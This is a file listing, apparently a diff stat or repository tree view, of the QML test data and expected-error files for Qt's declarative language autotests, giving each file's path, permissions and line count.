-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/assignTypeExtremes.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/assignValueToSignal.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/assignValueToSignal.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/attachedProperties.qml8
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/autoComponentCreation.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/autoNotifyConnection.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/component.1.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/component.1.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/component.2.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/component.2.qml9
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/component.3.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/component.3.qml9
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/component.4.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/component.4.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/component.5.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/component.5.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/component.6.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/component.6.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/component.7.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/component.7.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/component.8.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/component.8.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/component.9.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/component.9.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/componentCompositeType.qml8
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/cppnamespace.2.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/cppnamespace.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/crash2.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/customOnProperty.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/customParserIdNotAllowed.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/customParserIdNotAllowed.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/customParserTypes.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/customVariantTypes.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/declaredPropertyValues.qml8
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/defaultGrouped.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/defaultGrouped.qml10
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/defaultPropertyListOrder.qml29
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/destroyedSignal.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/destroyedSignal.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/dontDoubleCallClassBegin.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/doubleSignal.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/doubleSignal.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/duplicateIDs.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/duplicateIDs.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.1.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.1.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.2.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.2.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.3.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.3.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.4.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.4.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.5.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.5.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/dynamicObject.1.qml8
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/dynamicObjectProperties.2.qml11
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/dynamicObjectProperties.qml13
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/dynamicProperties.qml13
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/dynamicPropertiesNested.qml9
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/dynamicSignalsAndSlots.qml10
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/empty.errors.txt2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/empty.qml0
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/emptySignal.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/emptySignal.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/enumTypes.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/enumTypes.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/failingComponent.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/failingComponentTest.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/fakeDotProperty.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/fakeDotProperty.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/finalOverride.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/finalOverride.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/i18nDeclaredPropertyNames.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/i18nDeclaredPropertyUse.qml3
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/i18nNameSpace.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/i18nScript.qml9
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/i18nStrings.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/i18nType.qml1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/idProperty.qml8
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/importFile.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/importFile.qml3
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/importIncorrectCase.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/importNamespaceConflict.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/importNamespaceConflict.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.qml3
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/importNonExist.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/importNonExist.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/importNonExistOlder.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/importNonExistOlder.qml3
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/importVersionMissingBuiltIn.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/importVersionMissingBuiltIn.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/importVersionMissingInstalled.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/importVersionMissingInstalled.qml3
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/importscript.1.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/importscript.1.qml3
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/incorrectCase.errors.insensitive.txt2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/incorrectCase.errors.sensitive.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/incorrectCase.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/incorrectCaseType.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/inlineAssignmentsOverrideBindings.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/inlineQmlComponents.qml10
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/insertedSemicolon.1.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/insertedSemicolon.1.qml10
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/interfaceProperty.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/interfaceQList.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.1.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.1.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.10.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.10.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.2.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.2.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.3.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.3.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.4.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.4.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.5.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.5.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.6.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.6.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.7.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.7.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.8.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.8.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.9.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAlias.9.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.1.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.1.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.10.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.10.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.11.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.11.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.12.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.12.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.13.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.13.qml8
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.2.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.2.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.3.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.3.qml8
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.4.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.4.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.5.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.5.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.6.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.6.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.7.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.7.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.8.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.8.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.9.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidAttachedProperty.9.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.1.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.1.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.10.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.10.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.2.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.2.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.3.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.3.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.4.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.4.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.5.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.5.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.6.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.6.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.7.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.7.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.8.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.8.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.9.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidGroupedProperty.9.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidID.2.errors.txt2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidID.2.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidID.3.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidID.3.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidID.4.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidID.4.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidID.5.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidID.5.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidID.6.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidID.6.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidID.7.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidID.7.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidID.8.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidID.8.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidID.9.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidID.9.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidID.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidID.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidImportID.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidImportID.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidOn.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidOn.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidProperty.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidProperty.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidRoot.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/invalidRoot.qml2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/InstalledTest.qml2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/InstalledTest2.qml2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/LocalLast.qml2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/PrivateType.qml2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest/qmldir4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest0/InstalledTest.qml2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest0/InstalledTest2.qml2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/lib/com/nokia/installedtest0/qmldir2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/listAssignment.1.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/listAssignment.1.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/listAssignment.2.errors.txt2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/listAssignment.2.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/listAssignment.3.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/listAssignment.3.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/listItemDeleteSelf.qml38
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/listProperties.qml9
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml9
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.qml10
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/method.1.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/method.1.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/missingObject.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/missingObject.qml1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/missingSignal.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/missingSignal.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/missingValueTypeProperty.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/missingValueTypeProperty.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/multiSet.1.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/multiSet.1.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/multiSet.10.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/multiSet.10.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/multiSet.11.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/multiSet.11.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/multiSet.2.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/multiSet.2.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/multiSet.3.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/multiSet.3.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/multiSet.4.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/multiSet.4.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/multiSet.5.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/multiSet.5.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/multiSet.6.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/multiSet.6.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/multiSet.7.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/multiSet.7.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/multiSet.8.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/multiSet.8.qml8
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/multiSet.9.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/multiSet.9.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/nestedComponentRoots.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/nestedErrors.errors.txt2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/nestedErrors.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/noCreation.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/noCreation.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/nonScriptableProperty.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/nonScriptableProperty.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.1.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.1.qml2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.2.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.2.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.3.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.3.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.4.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.4.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.5.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.5.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.6.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.6.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/notAvailable.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/notAvailable.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/nullDotProperty.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/nullDotProperty.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/objectValueTypeProperty.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/objectValueTypeProperty.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/onCompleted.qml17
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/onDestruction.qml17
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/property.1.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/property.1.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/property.2.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/property.2.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/property.3.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/property.3.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/property.4.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/property.4.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/property.5.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/property.5.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/property.6.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/property.6.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/property.7.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/property.7.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/propertyValueSource.2.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/propertyValueSource.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/qmlAttachedPropertiesObjectMethod.1.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/qmlAttachedPropertiesObjectMethod.2.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/readOnly.1.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/readOnly.1.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/readOnly.2.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/readOnly.2.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/readOnly.3.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/readOnly.3.qml8
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/readOnly.4.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/readOnly.4.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/readOnly.5.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/readOnly.5.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/revisions11.qml10
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/revisionsbasesub11.qml16
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/revisionssub11.qml12
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/rootAsQmlComponent.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/scriptString.1.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/scriptString.1.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/scriptString.2.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/scriptString.2.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/scriptString.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/scriptString2.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/scriptString3.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/scriptString4.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/signal.1.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/signal.1.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/signal.2.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/signal.2.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/signal.3.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/signal.3.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/signal.4.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/signal.4.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/simpleBindings.qml18
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/simpleContainer.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/simpleObject.qml2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/singularProperty.2.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/singularProperty.2.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/singularProperty.errors.txt1
